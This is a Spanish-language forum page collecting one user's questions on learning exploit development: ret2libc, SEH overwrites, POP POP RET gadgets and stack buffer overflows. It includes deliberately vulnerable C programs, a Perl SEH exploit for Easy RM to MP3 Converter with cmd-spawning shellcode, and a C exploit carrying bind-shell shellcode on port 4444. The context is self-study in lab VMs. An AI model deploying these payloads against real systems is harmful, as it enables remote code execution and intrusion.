Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Lodos76

#1
Bugs y Exploits / Inesperado EIP ret2libc
31 Julio 2014, 17:48 PM
Buenos días.

Estaba siguiendo el tutorial http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf para bypassear el HW DEP mediante el método ret2libc.

Éste es el código a explotar:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
char buff[5];

if (argc != 2)
{
puts("Needs and argument!");
exit(1);
}

printf("Exploiting via returning into libc function\n");
strcpy(buff, argv[1]);
printf("\nYou typed [%s]\n\n", buff);

return 0;
}




El caso es que según pone en el tutorial, con 32 Aes sobreescribiríamos completamente el RET ADDRESS, pero en el tutorial, el autor hace uso de un sistema de 32 bits, y yo estoy usando la última versión de Kali, de 64 bits.
Con 30 Aes, me faltan 2 Aes para sobreescribir todo el RET ADDRESS, pero con o más de 31 Aes, siempre muestra  0x0000000000400655. ¿Qué pasa?


Citarroot@Kali:~/Desktop/Exploits# ulimit -c unlimited
root@Kali:~/Desktop/Exploits# gcc -ggdb retlib.c -o retlib
root@Kali:~/Desktop/Exploits# ./retlib `perl -e 'print "A"x30'`
Exploiting via returning into libc function

You typed [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]

Violación de segmento (`core' generado)
root@Kali:~/Desktop/Exploits# gdb -q -c ./core
[New LWP 19019]

warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7fff7adfe000
Core was generated by `./retlib AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x0000414141414141 in ?? ()
(gdb) q
root@Kali:~/Desktop/Exploits# ./retlib `perl -e 'print "A"x31'`
Exploiting via returning into libc function

You typed [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]

Violación de segmento (`core' generado)
root@Kali:~/Desktop/Exploits# gdb -q -c ./core
[New LWP 19023]

warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7fff5fffe000
Core was generated by `./retlib AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x0000000000400655 in ?? ()
(gdb) q

Muchas gracias :)
#2
Buenos días.

Cuando se compila el propio ejecutable con SAFESEH, entonces el SEH handler de las excepciones que programamos no pueden apuntar al propio ejecutable (ha sido compilado con SAFESEH), pero si el SEH handler y el SEH chain son punteros, entonces, en una ejecución normal de cualquier programa, ¿dónde apunta el SEH handler? La cuestión es esa, que apunta al propio ejecutable y NO se puede.

Muchas gracias ;).
#3
Bugs y Exploits / SEH exploiting
14 Mayo 2014, 06:24 AM
Buenos díaas.

He estado bastante liado con la uni, pero ahora que tengo tiempo :)...
Acabo de terminar el tutorial 3a, que trata sobre SEH, verme el vídeo y mirar el foro de Corelan, pero hay una cosa que no entiendo (lo he puesto en mayúsculas dentro del código).


Código (Perl) [Seleccionar]
=pod
####### EXPLICACIÓN #######

Se sobreescribe el stack con basura hasta antes del SEH chain,
Sobreescribimos el SEH chain con un JMP SHORT 6 y 2 NOPS, con lo cual saltamos 6 bytes (saltamos al próximo SEH handler, no el suyo)
Sobreescribimos el stack con la dirección de un POP POP RET (PERO EN TEORÍA AL HACER UN JMP SHORT 6 YA NO EJECUTARÍA ESTA DIRECCIÓN)
Sobreescribimos a contiuación con la shellcode
Ponemos basura porque queremos
=cut

$uitxt = "UI.TXT";

my $junk = "A" x 584;
my $nextSEHoverwrite = "\xeb\x06\x90\x90"; # jump 6 bytes:
  #
  # jmp short 6
  # NOP
  # NOP
my $SEHoverwrite = pack('V', 0x1001e067); # pop pop ret from Player.dll

# Open a console (cmd.exe)
# Size: 48 bytes
my $shellcode = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB" .
"\xC7\x93\xBF\x77" . # Offset de system() en msvcrt.dll --> 0x77BF93C7
"\xFF\xD3";

my $junk2 = "\x90" x 1000;

open(myfile,">$uitxt") ;
print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;


Imagen del OllyDbg:



Desde ya muchas gracias.
#4
Buenos días!! :)

Estaba intentando usar el módulo exploitable de WinDbg, así que voy a http://msecdbg.codeplex.com y me lo descargo, lo descomprimo y cojo MSEC.dll del directorio Release (también he probado a hacerlo con la DLL que hay en el directorio Debug, ya que el tutorial 3 de Corelan no lo especifica) y la pongo en C:\Archivos de programa\Debugging Tools for Windows (x86)\winext, así pues, abro SoriTong.exe con WinDbg e intento cargar el módulo exploitable:

Citar0:000> !load winext/msec.dll
The call to LoadLibrary(winext/msec.dll) failed, Win32 error 0n127
    "No se encontró el proceso especificado."
Please check your debugger configuration and/or network access.

He probado a usar la ruta completa, pero me sale el mismo mensaje.
¿Qué ocurre?

Gracias de antemano.
#5
Programación General / ¿Qué opinas de C#?
7 Abril 2014, 14:10 PM
Con C# puedes programar aplicaciones nativas para Windows, MAC OS, iOS, iPad, WP y Android, y usar la máquina virtual Mono para GNU/Linux. También puedes usar Mono con las otras plataformas.

Lo cierto es que sea nativo o con Mono, irá más rápido, ya que la máquina virtual Mono —la cual tiene una libre implementación— está más optimizada que Dalvik (la de Android) y que la desktop de Oracle.

El inconveniente es que es carísimo comprar Xamarin (compilador que permite desarrollar para tantas plataformas diferentes compartiendo gran parte del código, poniéndole Mono al programa o compilándolo nativamente).

Con lo que respecta a Java, es lento, es incómodo de programar (tiene cuarentamil clases que tienes que instanciar), y no incluye tecnologías importantes como la sobrecarga de operadores o las estructuras, por no hablar de la sintaxis que tiene...

Y tú, ¿qué opinas?  :rolleyes:
#6
Según he podido googlear, "payload" a veces se usa como sinónimo de "exploit", y shellcode es SÓLO el código que se ejecutará en la máquina remota (sin contar el código necesario para que se ejecute dicho código). ¿Es así?

Gracias.
#7
Buenos días.

Hoy me he instalado una máquina virtual con Windows XP Professional x86 Spanish, y le he deshabilitado el DEP.

Pues bueno, estaba probando el exploit POPPOPRET_JMPESP.pl que tenía para "Easy RM to MP3 Converter" (sí, el programa del tutorial de Corelan), y  no me ha ido, así que he hecho 2 pruebas:

La primera, y satisfactoria, sustituyendo el JMP ESP que tendría que saltar al principio de la shellcode, por "CCCC" (\x43\x43\x43\x43), y me da error intentando ejecutar esa dirección. Proseguimos.
Código: http://pastebin.com/qm8BR1dT
Screenshot: http://www.subeimagenes.com/img/jmpesp-is-cccc-903645.jpg

Y la segunda, poniendo al JMP ESP una dirección válida y poniendo una shellcode que son muchos breakpoints. Aquí se produce un error en la dirección que ha intentado ejecutar, y que JMP ESP no apunta sólo a breakpoints.
Código: http://pastebin.com/9zy6R2YL
Screenshot: http://www.subeimagenes.com/img/shellcode-is-breakpoints-903658.jpg





La pila original está así:
__________________________________________________
| Buffer que tendremos que llenar con Aes
|__________________________________________________|
| RET ADDRESSS que sustituiremos por un POP POP RET
|__________________________________________________|
| 4 bytes de basura que sustituiremos por "XXXX"
|__________________________________________________|
| Aquí apunta ESP antes de que se ejecute el POP POP RET, y
| que sustituiremos con 4 NOPs
|__________________________________________________|
| 4 bytes de basura que sustituiremos con 4 NOPs
|__________________________________________________|
| 4 bytes de basura a la que apuntará ESP después, y
| que sustituiremos por un JMP ESP, y recogerá de la pila
| la instrucción RET que hemos puesto nosotros
|__________________________________________________|
| Aquí empieza la shellcode y es donde apuntará
| el JMP ESP cuando se ejecute
|__________________________________________________|

Gracias por la ayuda :).
#8
Bugs y Exploits / Error buscando POP RET
13 Marzo 2014, 23:56 PM
Buenas a todos :).


Verán, estaba leyendo el PDF de creación de exploits 2 de Corelan cuando me veo esto:

CitarPrimero que todo, necesitamos saber el Opcode para el POP POP RET.
Usaremos la función de ensamblado en Windbg para conseguir los Opcodes.

0:000> a
7c90120e pop eax
pop eax
7c90120f pop ebp
pop ebp
7c901210 ret
ret
7c901211
0:000> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e 58 pop eax
7c90120f 5d pop ebp
7c901210 c3 ret
7c901211 ffcc dec esp
7c901213 c3 ret
7c901214 8bff mov edi,edi
7c901216 8b442404 mov eax,dword ptr [esp+4]
7c90121a cc int 3

Así que los Opcodes del POP POP RET son: 0×58, 0x5d, 0xc3.


Pues nada, lo intento y esto es lo que me sale:
Citar0:010> a
7c90120e ; Sólo sale esto, así que escribo "pop eax"
pop eax
7c90120e pop eax
pop eax
*** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe


¿Y eso? No consigo encontrar un pop pop sin esto...
He buscado por un sólo pop porque si con dos pop ya no lo encuentro, con uno menos...

He probado a usar en Immunity Debugger
!safeseh ; Busca DLLs compiladas sin safeseh
!search pop r32 ; Buscar POP a un registro de 32 bits
pero sólo me salen POPs de user32.dll


Gracias de antemano.
#9
Bugs y Exploits / Problema con un BoF
10 Marzo 2014, 00:49 AM
Buenos días ;).

Estaba haciendo un exploit de PruebaDeStack y no consigo que se ejecute bien la shellcode, pero el registro ESP apunta a ella.

Después del EIP (el JMP ESP) he puesto un breakpoint para poder hacer la screenshot y algunos NOPs para que se aprecie bien, e inmediatamente después está la shellcode. El problema es que no se abre una shell (es decir, no se ejecuta bien la shellcode).

Espero que puedan echarme una mano.
Muchas gracias.





PruebaDeStack
#include <string.h>

void hacer_algo(char *Buffer)
{
 char MyVar[128];
 strcpy(MyVar, Buffer);
}

int main(int argc, char **argv[])
{
 hacer_algo(argv[1]);
}




Exploit
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc,char **argv)
{
   char evilbuffer[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // Basura hasta llegar al EIP
"\x7B\x46\x86\x7C" // EIP --> 0x7C86467B      jmp esp
"\xCC\x90\x90\x90\x90\x90\x90\x90" // Breakpoint + NOPs
"\xbe\x6d\xa5\x2b\x67\xd9\xcf\xd9\x74\x24\xf4\x5f\x31\xc9" // Aqui empieza la shellcode shell_bind_tcp (puerto 4444)
"\xb1\x56\x31\x77\x13\x83\xef\xfc\x03\x77\x62\x47\xde\x9b"
"\x94\x0e\x21\x64\x64\x71\xab\x81\x55\xa3\xcf\xc2\xc7\x73"
"\x9b\x87\xeb\xf8\xc9\x33\x78\x8c\xc5\x34\xc9\x3b\x30\x7a"
"\xca\x8d\xfc\xd0\x08\x8f\x80\x2a\x5c\x6f\xb8\xe4\x91\x6e"
"\xfd\x19\x59\x22\x56\x55\xcb\xd3\xd3\x2b\xd7\xd2\x33\x20"
"\x67\xad\x36\xf7\x13\x07\x38\x28\x8b\x1c\x72\xd0\xa0\x7b"
"\xa3\xe1\x65\x98\x9f\xa8\x02\x6b\x6b\x2b\xc2\xa5\x94\x1d"
"\x2a\x69\xab\x91\xa7\x73\xeb\x16\x57\x06\x07\x65\xea\x11"
"\xdc\x17\x30\x97\xc1\xb0\xb3\x0f\x22\x40\x10\xc9\xa1\x4e"
"\xdd\x9d\xee\x52\xe0\x72\x85\x6f\x69\x75\x4a\xe6\x29\x52"
"\x4e\xa2\xea\xfb\xd7\x0e\x5d\x03\x07\xf6\x02\xa1\x43\x15"
"\x57\xd3\x09\x72\x94\xee\xb1\x82\xb2\x79\xc1\xb0\x1d\xd2"
"\x4d\xf9\xd6\xfc\x8a\xfe\xcd\xb9\x05\x01\xed\xb9\x0c\xc6"
"\xb9\xe9\x26\xef\xc1\x61\xb7\x10\x14\x25\xe7\xbe\xc6\x86"
"\x57\x7f\xb6\x6e\xb2\x70\xe9\x8f\xbd\x5a\x9c\x97\x73\xbe"
"\xcd\x7f\x76\x40\xe0\x23\xff\xa6\x68\xcc\xa9\x71\x04\x2e"
"\x8e\x49\xb3\x51\xe4\xe5\x6c\xc6\xb0\xe3\xaa\xe9\x40\x26"
"\x99\x46\xe8\xa1\x69\x85\x2d\xd3\x6e\x80\x05\x9a\x57\x43"
"\xdf\xf2\x1a\xf5\xe0\xde\xcc\x96\x73\x85\x0c\xd0\x6f\x12"
"\x5b\xb5\x5e\x6b\x09\x2b\xf8\xc5\x2f\xb6\x9c\x2e\xeb\x6d"
"\x5d\xb0\xf2\xe0\xd9\x96\xe4\x3c\xe1\x92\x50\x91\xb4\x4c"
"\x0e\x57\x6f\x3f\xf8\x01\xdc\xe9\x6c\xd7\x2e\x2a\xea\xd8"
"\x7a\xdc\x12\x68\xd3\x99\x2d\x45\xb3\x2d\x56\xbb\x23\xd1"
"\x8d\x7f\x53\x98\x8f\xd6\xfc\x45\x5a\x6b\x61\x76\xb1\xa8"
"\x9c\xf5\x33\x51\x5b\xe5\x36\x54\x27\xa1\xab\x24\x38\x44"
"\xcb\x9b\x39\x4d";
   argv[0] = "Exploit.exe";
   argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1
   argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos

   execv("PruebaDeStack.exe", argv); //Ejecutamos vuln1.exe pasándole evilbuffer como argumento

     return 0;
}



Una screenshot nada más le doy a "Debug" al ejecutar el exploit:
http://www.subeimagenes.com/img/before-871596.png

Una screenshot después de darle a RUN (F9) a la imagen anterior:
http://www.subeimagenes.com/img/after-871598.png
#10
Buenos días.

Quiero preguntar sobre sustituir el EIP directamente (en un BoF) sin usar un JMP REGISTRO, el porqué da error.

El código es el siguiente:
vuln1.c
   /* vuln1.c por Rojodos */
   
   #include <stdio.h>
   #include <string.h>
   
   int main (int argc, char **argv)
   {
   char buffer[64]; //Declaramos un array con 64 bytes de espacio
   
   if (argc < 2)
   {
   printf ("Introduzca un argumento al programa\n");
   return 0;
   }
   
   strcpy (buffer, argv[1]); // Aqui es donde esta el fallo
   
   return 0;
   }


Si yo ejecuto exploit1.c, EIP apuntará a TTTT, pero si yo ejecuto exploit2.c, EIP no apuntará a 0x7C86467B (EIP me está apuntando ahora mismo a 0022FF009), por el tema que la pila cambia y tal, pero aunque apuntara a algo que no existe, ese debería ser el EIP, sin necesidad de un JMP registro, al fin y al cabo, es lo mismo que pasar letras TTTTT, ¿no?

exploit1.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc,char **argv) {

char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"; // Para llenar el buffer, lo que haya antes del RET ADDRESS y sustituir el RET ADDRESS

argv[1] = "vuln1";
argv[1] = evilbuffer;
argv[2] = NULL;

execv ("vuln1.exe", argv);

return 0;
}



exploit2.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc,char **argv) {

char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"; // Para llenar el buffer y lo que haya antes del RET ADDRESS
char EIP[] = "\x7B\x46\x86\x7C"; // RET ADDRESS = 0x7C86467B

strcat(evilbuffer, EIP);

argv[1] = "vuln1";
argv[1] = evilbuffer;
argv[2] = NULL;

execv ("vuln1.exe", argv);

return 0;
}
#11
Bugs y Exploits / Error en Buffer Overflow
27 Febrero 2014, 17:43 PM
Buenas gente.

Verán, estaba siguiendo el tutorial de Rojodos sobre buffer overflow (http://www.todopsp.com/foros/showthread.php?t=23953  , hay que darle a "Premum Download" y se descarga), y... claro, sé ensamblador y entiendo lo que dice, pero a la hora de poner muchas AAAAAAs (90 As por ejemplo) con el CMD y darle a "más detalles", el offset no es "41414141",  y no entiendo el porqué. He probado a ejecutarlo en un Win8 físico y en una máquina virtual con WinXP Professional SP1 (que no tiene ni siquiera el DEP, al ser SP1), y a debuggearlo con OllyDbg 1.10 y con Immunity Debugger, pero me da el mismo resultado.

En concreto, cuando intento debuggear con Olly sin argumentos, el exit code es 0, y cuando le pongo 90 As y le doy a F9 (run), el exit code es C0000409

He compilado el código fuente desde la consola de MVC++ 2005 (cl.exe /TC vuln1.c).
Subo el ejecutable por si queréis echarle un vistazo: http://bayfiles.net/file/17EMR/HuI4La/vuln1.exe


El código compilado es el siguiente:
/* vuln1.c por Rojodos */

#include <stdio.h> // librería stdio.h, funciones básicas de Entrada/Salida

int main (int argc, char **argv) // La función "principal" del programa función
{
char buffer[64]; //Declaramos un array con 64 bytes de espacio

if (argc < 2) // Si los argumentos son menores que 2...
{
printf ("Introduzca un argumento al programa\n"); //Printeamos
return 0; // y retornamos 0 a la función main, y el programa acaba
}

strcpy (buffer, argv[1]); // Aqui es donde esta el fallo.

return 0; // Devolvemos 0 a main, y el programa acaba.
}



He probado a seguir el tutorial de Coreland, y con el programa ya compilado del PDF nº 1 sí me funciona lo de modificar el EIP, pero si lo compilo yo no, y no sé por qué.

Gracias de antemano :)